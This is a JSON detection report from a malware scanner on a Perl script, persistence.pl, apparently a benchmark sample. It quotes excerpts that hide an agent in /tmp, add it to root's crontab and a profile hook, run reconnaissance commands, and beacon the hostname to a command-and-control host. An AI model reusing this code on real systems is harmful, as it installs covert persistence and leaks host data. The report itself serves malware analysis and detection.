{
  "ml": {
    "v": "7",
    "lvl": 0,
    "conf": 100,
    "mods": [
      {
        "cls": 0,
        "raw": 0.023204604,
        "rte": "az",
        "prob": 0.023204604
      },
      {
        "cls": 0,
        "raw": 0.12714157,
        "rte": "az/scripts",
        "prob": 0.12714157
      },
      {
        "cls": 2,
        "raw": 0.99949926,
        "rte": "az/perl",
        "prob": 0.99949926
      }
    ],
    "prob": 0.99949926,
    "files": [
      {
        "id": 0,
        "lvl": 0,
        "conf": 100,
        "prob": 0.9994992613792419
      }
    ],
    "version": "v18.18",
    "analyzed_at": "2026-06-10T09:49:19Z"
  },
  "path": "persistence.pl",
  "raw": {
    "v": "7",
    "tv": "46abf",
    "files": [
      {
        "id": 0,
        "ctx": [
          {
            "a": 0,
            "l": 1,
            "n": [
              {
                "c": 2,
                "d": "Perl shebang line",
                "i": "metadata/lang/shebang::perl",
                "o": 0,
                "z": 15
              }
            ],
            "t": "#!/usr/bin/perl"
          },
          {
            "a": 16,
            "l": 2,
            "t": "#"
          },
          {
            "a": 18,
            "l": 3,
            "t": "# z/OS Persistence Agent"
          },
          {
            "a": 43,
            "l": 4,
            "t": "#"
          },
          {
            "a": 45,
            "l": 5,
            "n": [
              {
                "c": 2,
                "d": "Perl source syntax patterns",
                "i": "metadata/lang/scripted::source-syntax",
                "o": 45,
                "z": 12
              }
            ],
            "t": ""
          },
          {
            "a": 46,
            "l": 6,
            "t": "use strict;"
          },
          {
            "a": 58,
            "l": 7,
            "t": "use warnings;"
          },
          {
            "a": 117,
            "l": 10,
            "t": "use Socket;"
          },
          {
            "a": 129,
            "l": 11,
            "t": "use IO::Socket::INET;"
          },
          {
            "a": 151,
            "l": 12,
            "n": [
              {
                "c": 2,
                "d": "Perl source syntax patterns",
                "i": "metadata/lang/scripted::source-syntax",
                "o": 151,
                "z": 15
              }
            ],
            "t": ""
          },
          {
            "a": 152,
            "l": 13,
            "t": "my $AGENT_NAME = '.zoshelper';"
          },
          {
            "a": 183,
            "l": 14,
            "n": [
              {
                "c": 2,
                "d": "Unix /tmp/ path reference",
                "i": "micro-behaviors/fs/path/temp::unix-temp",
                "o": 201,
                "z": 5
              }
            ],
            "t": "my $AGENT_PATH = \"/tmp/${AGENT_NAME}\";"
          },
          {
            "a": 222,
            "l": 15,
            "t": "my $C2_HOST = 'zos-perl-system-3819c.benchmark.atomdrift.org';"
          },
          {
            "a": 285,
            "l": 16,
            "t": "my $C2_PORT = 8443;"
          },
          {
            "a": 305,
            "l": 17,
            "n": [
              {
                "c": 2,
                "d": "Perl source syntax patterns",
                "i": "metadata/lang/scripted::source-syntax",
                "o": 305,
                "z": 11
              }
            ],
            "t": ""
          },
          {
            "a": 306,
            "l": 18,
            "t": "sub main {"
          },
          {
            "a": 317,
            "l": 19,
            "t": "    # Safety gate — refuse to run unless sentinel exists"
          },
          {
            "a": 376,
            "l": 20,
            "n": [
              {
                "c": 2,
                "d": "Untyped Perl ENV hash dereference",
                "i": "metadata/lang/scripted::env-hash-deref",
                "o": 396,
                "z": 5
              }
            ],
            "t": "    my $sentinel = \"$ENV{HOME}/.206y5a\";"
          },
          {
            "a": 417,
            "l": 21,
            "t": "    unless (-e $sentinel) {"
          },
          {
            "a": 445,
            "l": 22,
            "t": "        print STDERR \"Environment check failed.\\n\";"
          },
          {
            "a": 804,
            "l": 37,
            "t": ""
          },
          {
            "a": 805,
            "l": 38,
            "t": "    # Phase 4: Signal C2"
          },
          {
            "a": 830,
            "l": 39,
            "n": [
              {
                "c": 2,
                "d": "Malware infrastructure naming suffix",
                "i": "micro-behaviors/data/text/malware/terms::malware-infrastructure-suffix",
                "o": 834,
                "z": 9
              }
            ],
            "t": "    signal_c2();"
          },
          {
            "a": 847,
            "l": 40,
            "t": ""
          },
          {
            "a": 848,
            "l": 41,
            "t": "    print \"Persistence established.\\n\";"
          },
          {
            "a": 1414,
            "l": 65,
            "t": "# System maintenance helper"
          },
          {
            "a": 1442,
            "l": 66,
            "t": "if [ -f /tmp/.zoshelper ]; then"
          },
          {
            "a": 1474,
            "l": 67,
            "n": [
              {
                "c": 2,
                "d": "Redirect to /dev/null",
                "i": "micro-behaviors/os/console/io::redirect-dev-null",
                "o": 1517,
                "z": 10
              }
            ],
            "t": "    /usr/lpp/perl/bin/perl /tmp/.zoshelper \u003e/dev/null 2\u003e\u00261 \u0026"
          },
          {
            "a": 1535,
            "l": 68,
            "t": "fi"
          },
          {
            "a": 1538,
            "l": 69,
            "t": ""
          },
          {
            "a": 3551,
            "l": 142,
            "t": "sub persist_cron_job {"
          },
          {
            "a": 3574,
            "l": 143,
            "t": "    # Install a cron job for periodic re-execution"
          },
          {
            "a": 3625,
            "l": 144,
            "n": [
              {
                "c": 2,
                "d": "Combined stdout+stderr redirect to /dev/null",
                "i": "micro-behaviors/os/console/io::null-redirect-stdout-stderr",
                "o": 3697,
                "z": 15
              }
            ],
            "t": "    my $cron_entry = \"*/5 * * * * /usr/lpp/perl/bin/perl /tmp/.zoshelper \u003e/dev/null 2\u003e\u00261\\n\";"
          },
          {
            "a": 3718,
            "l": 145,
            "t": ""
          },
          {
            "a": 3719,
            "l": 146,
            "n": [
              {
                "c": 3,
                "d": "crontab keyword",
                "i": "micro-behaviors/os/autorun/scheduled::crontab-keyword",
                "o": 3746,
                "z": 7
              }
            ],
            "t": "    # Try to write to root crontab via crontab file"
          },
          {
            "a": 3771,
            "l": 147,
            "n": [
              {
                "c": 4,
                "d": "/var/spool/cron directory path (user cron",
                "i": "objectives/persistence/system/cron/job::var-spool-cron-path",
                "o": 3795,
                "z": 15
              }
            ],
            "t": "    my $crontab_file = '/var/spool/cron/crontabs/root';"
          },
          {
            "a": 3827,
            "l": 148,
            "t": "    if (-d '/var/spool/cron/crontabs') {"
          },
          {
            "a": 3868,
            "l": 149,
            "t": "        my $fh;"
          },
          {
            "a": 4132,
            "l": 161,
            "t": "        ['ls', '-la', '/etc/security'],"
          },
          {
            "a": 4172,
            "l": 162,
            "t": "        ['id'],"
          },
          {
            "a": 4188,
            "l": 163,
            "n": [
              {
                "c": 3,
                "d": "whoami command in quoted shell",
                "i": "micro-behaviors/process/user/query::whoami-command-quoted",
                "o": 4197,
                "z": 8
              }
            ],
            "t": "        ['whoami'],"
          },
          {
            "a": 4208,
            "l": 164,
            "t": "        ['tty'],"
          },
          {
            "a": 4225,
            "l": 165,
            "t": "    );"
          },
          {
            "a": 4254,
            "l": 168,
            "t": "    for my $cmd (@cmds) {"
          },
          {
            "a": 4280,
            "l": 169,
            "t": "        $report .= \"=== \" . join(' ', @$cmd) . \" ===\\n\";"
          },
          {
            "a": 4337,
            "l": 170,
            "n": [
              {
                "c": 3,
                "d": "Perl backticks command execution",
                "i": "micro-behaviors/process/create/shell/lang::backticks-exec",
                "o": 4358,
                "z": 12
              }
            ],
            "t": "        my $output = `@$cmd 2\u003e\u00261`;"
          },
          {
            "a": 4372,
            "l": 171,
            "t": "        $report .= $output;"
          },
          {
            "a": 4400,
            "l": 172,
            "t": "        $report .= \"\\n\";"
          },
          {
            "a": 4590,
            "l": 182,
            "t": ""
          },
          {
            "a": 4591,
            "l": 183,
            "t": "sub signal_c2 {"
          },
          {
            "a": 4607,
            "l": 184,
            "n": [
              {
                "c": 2,
                "d": "C2 server keyword",
                "i": "micro-behaviors/data/text/malware/terms::c2-server-term",
                "o": 4635,
                "z": 9
              }
            ],
            "t": "    # Attempt to signal the C2 server via HTTP"
          },
          {
            "a": 4654,
            "l": 185,
            "t": "    my $socket = IO::Socket::INET-\u003enew("
          },
          {
            "a": 4694,
            "l": 186,
            "t": "        PeerAddr =\u003e $C2_HOST,"
          },
          {
            "a": 4811,
            "l": 191,
            "t": ""
          },
          {
            "a": 4812,
            "l": 192,
            "t": "    if ($socket) {"
          },
          {
            "a": 4831,
            "l": 193,
            "n": [
              {
                "c": 2,
                "d": "localtime function (string)",
                "i": "micro-behaviors/time/query::localtime-string",
                "o": 4886,
                "z": 8
              }
            ],
            "t": "        my $timestamp = strftime('%Y-%m-%dT%H:%M:%S', localtime);"
          },
          {
            "a": 4897,
            "l": 194,
            "n": [
              {
                "c": 3,
                "d": "Invokes hostname shell command",
                "i": "micro-behaviors/os/sysinfo/hostname::hostname-cmd",
                "o": 4920,
                "z": 9
              },
              {
                "c": 2,
                "d": "Stderr redirected to /dev/null",
                "i": "micro-behaviors/os/console/io::stderr-to-dev-null",
                "o": 4930,
                "z": 11
              }
            ],
            "t": "        my $hostname = `hostname 2\u003e/dev/null`;"
          },
          {
            "a": 4944,
            "l": 195,
            "t": "        chomp $hostname;"
          },
          {
            "a": 4969,
            "l": 196,
            "n": [
              {
                "c": 2,
                "d": "HTTP/1.1 protocol version",
                "i": "micro-behaviors/communications/http/message::http-1-1-header",
                "o": 4991,
                "z": 57
              }
            ],
            "t": "        my $payload = \"GET /beacon?host=${hostname}\u0026ts=${timestamp} HTTP/1.1\\r\\n\""
          },
          {
            "a": 5051,
            "l": 197,
            "t": "                    . \"Host: ${C2_HOST}\\r\\n\""
          },
          {
            "a": 5096,
            "l": 198,
            "t": "                    . \"Connection: close\\r\\n\""
          }
        ],
        "mol": "O(P)H(Po)",
        "sha": "6ec81044d6fa67f012dfc4cbef3458673d191ebe5b7fa743183454f689c506dd",
        "fact": {
          "id": "perl",
          "imp": [
            [
              "",
              "Fcntl"
            ],
            [
              "",
              "IO::Socket::INET"
            ],
            [
              "",
              "POSIX"
            ],
            [
              "",
              "Socket"
            ],
            [
              "",
              "strict"
            ],
            [
              "",
              "warnings"
            ]
          ],
          "mbr": [
            "IO::Socket::INET.new"
          ],
          "met": {
            "ast": {
              "op.lt": 2.0,
              "op.lor": 4.0,
              "op.land": 6.0,
              "op.lnot": 1.0,
              "max_depth": 22.0,
              "op.concat": 8.0,
              "call_count": 21.0,
              "node_count": 1412.0,
              "member_count": 1.0,
              "op_density.lt": 0.0,
              "op_density.lor": 0.0,
              "op_density.land": 0.0,
              "op_density.lnot": 0.0,
              "identifier_count": 9.0,
              "member_depth_max": 2.0,
              "op_density.concat": 0.01,
              "string_literal_count": 47.0,
              "array_literal_max_length": 1.0
            },
            "file": {
              "size": 5245.0,
              "entropy": 4.61,
              "size_bytes": 5245.0
            },
            "text": {
              "digit_ratio": 0.02,
              "space_count": 1619.0,
              "total_lines": 205.0,
              "char_entropy": 4.61,
              "unique_chars": 92.0,
              "string_density": 0.23,
              "avg_line_length": 24.59,
              "high_byte_ratio": 0.0,
              "max_line_length": 95.0,
              "non_ascii_ratio": 0.0,
              "empty_line_ratio": 0.15,
              "last_line_length": 7.0,
              "whitespace_ratio": 0.35,
              "most_common_ratio": 0.05,
              "identifier_density": 0.04,
              "line_length_stddev": 20.38,
              "normalized_string_count": 3.28,
              "repeated_char_sequences": 32.0,
              "suspicious_string_ratio": 0.06,
              "most_common_char_is_null": 0.0,
              "max_inline_whitespace_run": 4.0,
              "most_common_char_codepoint": 101.0,
              "normalized_unique_identifiers": 1.17
            },
            "calls": {
              "count": 21.0
            },
            "binary": {
              "overall_entropy": 4.61
            },
            "source": {
              "function_count": 8.0
            },
            "imports": {
              "count": 6.0,
              "unique_modules": 6.0,
              "third_party_count": 6.0,
              "third_party_ratio": 1.0
            },
            "members": {
              "count": 1.0
            },
            "strings": {
              "total": 47.0,
              "avg_length": 17.51,
              "max_length": 129.0,
              "path_count": 14.0,
              "avg_entropy": 2.3,
              "empty_count": 1.0,
              "total_bytes": 823.0,
              "domain_count": 1.0,
              "entropy_stddev": 1.62,
              "shell_command_strings": 3.0
            },
            "comments": {
              "chars": 866.0,
              "lines": 20.0,
              "total": 22.0,
              "to_code_ratio": 0.11,
              "empty_comments": 2.0
            },
            "functions": {
              "count": 8.0
            },
            "identifiers": {
              "count": 9.0,
              "total": 9.0,
              "avg_length": 14.78,
              "max_length": 22.0,
              "min_length": 4.0,
              "avg_entropy": 3.19,
              "reuse_ratio": 1.0,
              "unique_count": 9.0,
              "length_stddev": 5.14,
              "has_digit_ratio": 0.11,
              "high_entropy_count": 1.0,
              "high_entropy_ratio": 0.11,
              "all_lowercase_ratio": 0.78,
              "numeric_suffix_count": 1.0
            }
          },
          "str": [
            [
              85,
              "u8",
              "mode"
            ],
            [
              106,
              "u8",
              "strftime"
            ],
            [
              169,
              "u8",
              ".zoshelper"
            ],
            [
              170,
              "u8",
              ".zoshelper"
            ],
            [
              200,
              "u8",
              "/tmp/${AGENT_NAME}"
            ],
            [
              201,
              "u8",
              "/tmp/${AGENT_NAME}"
            ],
            [
              236,
              "u8",
              "zos-perl-system-3819c.benchmark.atomdrift.org"
            ],
            [
              237,
              "u8",
              "zos-perl-system-3819c.benchmark.atomdrift.org"
            ],
            [
              299,
              "10",
              "8443"
            ],
            [
              395,
              "u8",
              "$ENV{HOME}/.206y5a"
            ],
            [
              396,
              "u8",
              "$ENV{HOME}/.206y5a"
            ],
            [
              466,
              "u8",
              "Environment check failed.\\n"
            ],
            [
              467,
              "u8",
              "Environment check failed.\\n"
            ],
            [
              510,
              "10",
              "1"
            ],
            [
              858,
              "u8",
              "Persistence established.\\n"
            ],
            [
              859,
              "u8",
              "Persistence established.\\n"
            ],
            [
              1016,
              "u8",
              "\u003c"
            ],
            [
              1017,
              "u8",
              "\u003c"
            ],
            [
              1128,
              "u8",
              "\u003e"
            ],
            [
              1129,
              "u8",
              "\u003e"
            ],
            [
              1222,
              "10",
              "700"
            ],
            [
              1368,
              "u8",
              "/etc/profile"
            ],
            [
              1369,
              "u8",
              "/etc/profile"
            ],
            [
              1601,
              "u8",
              "\u003e\u003e"
            ],
            [
              1602,
              "u8",
              "\u003e\u003e"
            ],
            [
              1921,
              "u8",
              "/etc/logincl"
            ],
            [
              1922,
              "u8",
              "/etc/logincl"
            ],
            [
              1945,
              "u8",
              "/etc/loginuc"
            ],
            [
              1946,
              "u8",
              "/etc/loginuc"
            ],
            [
              1969,
              "u8",
              "/etc/loginre"
            ],
            [
              1970,
              "u8",
              "/etc/loginre"
            ],
            [
              2013,
              "u8",
              "CALL '/tmp/.zoshelper'\\n"
            ],
            [
              2014,
              "u8",
              "CALL '/tmp/.zoshelper'\\n"
            ],
            [
              2142,
              "u8",
              "\u003e\u003e"
            ],
            [
              2143,
              "u8",
              "\u003e\u003e"
            ],
            [
              2541,
              "u8",
              "/etc/security/users"
            ],
            [
              2542,
              "u8",
              "/etc/security/users"
            ],
            [
              2712,
              "u8",
              "\u003c"
            ],
            [
              2713,
              "u8",
              "\u003c"
            ],
            [
              2905,
              "u8",
              "$home/.profile"
            ],
            [
              2906,
              "u8",
              "$home/.profile"
            ],
            [
              3046,
              "u8",
              "\u003e"
            ],
            [
              3047,
              "u8",
              "\u003e"
            ],
            [
              3307,
              "u8",
              "\u003e\u003e"
            ],
            [
              3308,
              "u8",
              "\u003e\u003e"
            ],
            [
              3646,
              "u8",
              "*/5 * * * * /usr/lpp/perl/bin/perl /tmp/.zoshelper \u003e/dev/null 2\u003e\u00261\\n"
            ],
            [
              3647,
              "u8",
              "*/5 * * * * /usr/lpp/perl/bin/perl /tmp/.zoshelper \u003e/dev/null 2\u003e\u00261\\n"
            ],
            [
              3794,
              "u8",
              "/var/spool/cron/crontabs/root"
            ],
            [
              3795,
              "u8",
              "/var/spool/cron/crontabs/root"
            ],
            [
              3838,
              "u8",
              "/var/spool/cron/crontabs"
            ],
            [
              3839,
              "u8",
              "/var/spool/cron/crontabs"
            ],
            [
              3902,
              "u8",
              "\u003e\u003e"
            ],
            [
              3903,
              "u8",
              "\u003e\u003e"
            ],
            [
              4116,
              "u8",
              "uname"
            ],
            [
              4117,
              "u8",
              "uname"
            ],
            [
              4125,
              "u8",
              "-a"
            ],
            [
              4126,
              "u8",
              "-a"
            ],
            [
              4141,
              "u8",
              "ls"
            ],
            [
              4142,
              "u8",
              "ls"
            ],
            [
              4147,
              "u8",
              "-la"
            ],
            [
              4148,
              "u8",
              "-la"
            ],
            [
              4154,
              "u8",
              "/etc/security"
            ],
            [
              4155,
              "u8",
              "/etc/security"
            ],
            [
              4181,
              "u8",
              "id"
            ],
            [
              4182,
              "u8",
              "id"
            ],
            [
              4197,
              "u8",
              "whoami"
            ],
            [
              4198,
              "u8",
              "whoami"
            ],
            [
              4217,
              "u8",
              "tty"
            ],
            [
              4218,
              "u8",
              "tty"
            ],
            [
              4299,
              "u8",
              "=== "
            ],
            [
              4300,
              "u8",
              "=== "
            ],
            [
              4313,
              "u8",
              " "
            ],
            [
              4327,
              "u8",
              " ===\\n"
            ],
            [
              4329,
              "u8",
              "===\\n"
            ],
            [
              4358,
              "u8",
              "@$cmd 2\u003e\u00261"
            ],
            [
              4359,
              "u8",
              "@$cmd 2\u003e\u00261"
            ],
            [
              4419,
              "u8",
              "\\n"
            ],
            [
              4420,
              "u8",
              "\\n"
            ],
            [
              4497,
              "u8",
              "\u003e"
            ],
            [
              4498,
              "u8",
              "\u003e"
            ],
            [
              4502,
              "u8",
              "/tmp/.zoshelper.dat"
            ],
            [
              4503,
              "u8",
              "/tmp/.zoshelper.dat"
            ],
            [
              4774,
              "u8",
              "tcp"
            ],
            [
              4775,
              "u8",
              "tcp"
            ],
            [
              4801,
              "10",
              "5"
            ],
            [
              4864,
              "u8",
              "%Y-%m-%dT%H:%M:%S"
            ],
            [
              4865,
              "u8",
              "%Y-%m-%dT%H:%M:%S"
            ],
            [
              4920,
              "u8",
              "hostname 2\u003e/dev/null"
            ],
            [
              4921,
              "u8",
              "hostname 2\u003e/dev/null"
            ],
            [
              4991,
              "u8",
              "GET /beacon?host=${hostname}\u0026ts=${timestamp} HTTP/1.1\\r\\n"
            ],
            [
              4992,
              "u8",
              "GET /beacon?host=${hostname}\u0026ts=${timestamp} HTTP/1.1\\r\\n"
            ],
            [
              5073,
              "u8",
              "Host: ${C2_HOST}\\r\\n"
            ],
            [
              5074,
              "u8",
              "Host: ${C2_HOST}\\r\\n"
            ],
            [
              5118,
              "u8",
              "Connection: close\\r\\n"
            ],
            [
              5119,
              "u8",
              "Connection: close\\r\\n"
            ],
            [
              5164,
              "u8",
              "\\r\\n"
            ],
            [
              5165,
              "u8",
              "\\r\\n"
            ]
          ],
          "tgt": [
            "IO::Socket::INET"
          ],
          "val": {
            "file.stem": "persistence",
            "file.basename": "persistence.pl",
            "source.shebang": "/usr/bin/perl",
            "source.language": "perl",
            "source.imports[0]": "Fcntl",
            "source.imports[1]": "IO::Socket::INET",
            "source.imports[2]": "POSIX",
            "source.imports[3]": "Socket",
            "source.imports[4]": "strict",
            "source.imports[5]": "warnings",
            "source.strings[0]": " ===\\n",
            "source.strings[1]": "$ENV{HOME}/.206y5a",
            "source.strings[2]": "$home/.profile",
            "source.strings[3]": "%Y-%m-%dT%H:%M:%S",
            "source.strings[4]": "*/5 * * * * /usr/lpp/perl/bin/perl /tmp/.zoshelper \u003e/dev/null 2\u003e\u00261\\n",
            "source.strings[5]": ".zoshelper",
            "source.strings[6]": "/etc/logincl",
            "source.strings[7]": "/etc/loginre",
            "source.strings[8]": "/etc/loginuc",
            "source.strings[9]": "/etc/profile",
            "source.has_imports": true,
            "source.strings[10]": "/etc/security",
            "source.strings[11]": "/etc/security/users",
            "source.strings[12]": "/tmp/${AGENT_NAME}",
            "source.strings[13]": "/tmp/.zoshelper.dat",
            "source.strings[14]": "/var/spool/cron/crontabs",
            "source.strings[15]": "/var/spool/cron/crontabs/root",
            "source.strings[16]": "@$cmd 2\u003e\u00261",
            "source.strings[17]": "CALL '/tmp/.zoshelper'\\n",
            "source.strings[18]": "Connection: close\\r\\n",
            "source.strings[19]": "Environment check failed.\\n",
            "source.strings[20]": "GET /beacon?host=${hostname}\u0026ts=${timestamp} HTTP/1.1\\r\\n",
            "source.strings[21]": "Host: ${C2_HOST}\\r\\n",
            "source.strings[22]": "Persistence established.\\n",
            "source.strings[23]": "hostname 2\u003e/dev/null",
            "source.strings[24]": "strftime",
            "source.strings[25]": "whoami",
            "source.strings[26]": "zos-perl-system-3819c.benchmark.atomdrift.org"
          }
        },
        "find": [
          {
            "id": "micro-behaviors/os/console/io::null-redirect-stdout-stderr",
            "conf": 0.800000011920929,
            "crit": 2,
            "desc": "Combined stdout+stderr redirect to /dev/null"
          },
          {
            "id": "metadata/lang/embedded::shell",
            "conf": 1.0,
            "crit": 2,
            "desc": "shell code embedded in string"
          },
          {
            "id": "micro-behaviors/process/create/shell/invoke::cmd-name",
            "conf": 1.0,
            "crit": 2,
            "desc": "cmd command name"
          },
          {
            "id": "metadata/file/text/metrics::file-has-30-plus-lines",
            "conf": 0.8999999761581421,
            "crit": 1,
            "desc": "File has 30 or more lines"
          },
          {
            "id": "micro-behaviors/fs/path/temp::unix-temp",
            "conf": 0.699999988079071,
            "crit": 2,
            "desc": "Unix /tmp/ path reference"
          },
          {
            "id": "micro-behaviors/data/text/keywords/lexicon::tmp",
            "conf": 0.20000000298023224,
            "crit": 1,
            "desc": "tmp keyword"
          },
          {
            "id": "micro-behaviors/time/query::localtime-string",
            "conf": 0.20000000298023224,
            "crit": 2,
            "desc": "localtime function (string)"
          },
          {
            "id": "micro-behaviors/fs/path/location::hidden-dir-literal",
            "conf": 0.8399999737739563,
            "crit": 1,
            "desc": "Hidden directory path literal"
          },
          {
            "id": "micro-behaviors/data/text/malware/terms::malware-infrastructure-suffix",
            "conf": 1.0,
            "crit": 2,
            "desc": "Malware infrastructure naming suffix"
          },
          {
            "id": "micro-behaviors/communications/http/request/client::http-versions",
            "conf": 0.75,
            "crit": 1,
            "desc": "HTTP protocol version strings"
          },
          {
            "id": "micro-behaviors/data/text/malware/terms::c2-server-term",
            "crit": 2,
            "desc": "C2 server keyword"
          },
          {
            "id": "metadata/lang/scripted::subroutine-definition",
            "conf": 0.8500000238418579,
            "crit": 2,
            "desc": "Perl subroutine definition"
          },
          {
            "id": "objectives/discovery/system/profile::host-profile-hostname-field",
            "conf": 0.4000000059604645,
            "crit": 1,
            "desc": "\"hostname\" word — composite-only fragment"
          },
          {
            "id": "micro-behaviors/data/text/keywords/lexicon::payload",
            "conf": 0.6000000238418579,
            "crit": 1,
            "desc": "payload keyword"
          },
          {
            "id": "micro-behaviors/os/console/io::stderr-to-dev-null",
            "conf": 0.6000000238418579,
            "crit": 2,
            "desc": "Stderr redirected to /dev/null"
          },
          {
            "id": "objectives/command-and-control/dropper/delivery/download-execute::stage-path-tmp",
            "atk": "T1105",
            "mbc": "B0024",
            "conf": 0.8999999761581421,
            "crit": 1,
            "desc": "hidden file under /tmp"
          },
          {
            "id": "metadata/lang/scripted::use-module",
            "conf": 0.8500000238418579,
            "crit": 2,
            "desc": "Perl module import statement"
          },
          {
            "id": "micro-behaviors/data/text/keywords/lexicon::command-dup",
            "conf": 0.20000000298023224,
            "crit": 1,
            "desc": "command keyword"
          },
          {
            "id": "metadata/lang/scripted::sigil-variable-decl",
            "conf": 0.800000011920929,
            "crit": 2,
            "desc": "Perl sigil variable declaration"
          },
          {
            "id": "objectives/execution/lure/shell::user-run-cue-action",
            "atk": "T1204",
            "conf": 0.8399999737739563,
            "crit": 1,
            "desc": "Cue to run/execute/paste"
          },
          {
            "id": "micro-behaviors/os/console/io::redirect-dev-null",
            "crit": 2,
            "desc": "Redirect to /dev/null"
          },
          {
            "id": "metadata/lang/scripted::env-hash-deref",
            "conf": 0.8799999952316284,
            "crit": 2,
            "desc": "Untyped Perl ENV hash dereference"
          },
          {
            "id": "micro-behaviors/communications/http/message::http-1-1-header",
            "conf": 0.8999999761581421,
            "crit": 2,
            "desc": "HTTP/1.1 protocol version"
          },
          {
            "id": "metadata/lang/shebang::perl",
            "conf": 1.0,
            "crit": 2,
            "desc": "Perl shebang line"
          },
          {
            "id": "micro-behaviors/process/user/query::whoami-command-quoted",
            "atk": "T1033",
            "mbc": "E1033",
            "conf": 0.550000011920929,
            "crit": 3,
            "desc": "whoami command in quoted shell"
          },
          {
            "id": "objectives/collection/file-targeting/filter::dat-extension",
            "atk": "T1005",
            "mbc": "B0024",
            "conf": 0.4000000059604645,
            "crit": 1,
            "desc": "Generic data extension"
          },
          {
            "id": "micro-behaviors/data/text/keywords/lexicon::output",
            "conf": 0.20000000298023224,
            "crit": 1,
            "desc": "output keyword"
          },
          {
            "id": "micro-behaviors/communications/http/request/client::http-version",
            "atk": "T1071.001",
            "mbc": "C0002",
            "crit": 2,
            "desc": "HTTP/1.x version string"
          },
          {
            "id": "micro-behaviors/data/text/keywords/lexicon::command-result-word",
            "conf": 0.4000000059604645,
            "crit": 1,
            "desc": "cmd/command/result vocabulary word"
          },
          {
            "id": "micro-behaviors/os/autorun/scheduled::crontab-keyword",
            "crit": 3,
            "desc": "crontab keyword"
          },
          {
            "id": "micro-behaviors/data/text/keywords/c2::beacon",
            "conf": 0.6000000238418579,
            "crit": 1,
            "desc": "Beacon keyword (neutral context)"
          },
          {
            "id": "micro-behaviors/os/sysinfo/hostname::hostname-cmd",
            "atk": "T1082",
            "mbc": "E1082",
            "crit": 3,
            "desc": "Invokes hostname shell command"
          },
          {
            "id": "micro-behaviors/process/create/shell/lang::backticks-exec",
            "atk": "T1059.006",
            "conf": 0.8500000238418579,
            "crit": 3,
            "desc": "Perl backticks command execution"
          },
          {
            "id": "objectives/persistence/system/cron/job::var-spool-cron-path",
            "atk": "T1053.003",
            "mbc": "B0028",
            "conf": 0.699999988079071,
            "crit": 4,
            "desc": "/var/spool/cron directory path (user cron"
          },
          {
            "id": "metadata/lang/scripted::source-syntax",
            "conf": 0.8999999761581421,
            "crit": 2,
            "desc": "Perl source syntax patterns"
          }
        ],
        "path": "persistence.pl",
        "risk": 32,
        "size": 5245,
        "type": "perl"
      }
    ]
  }
}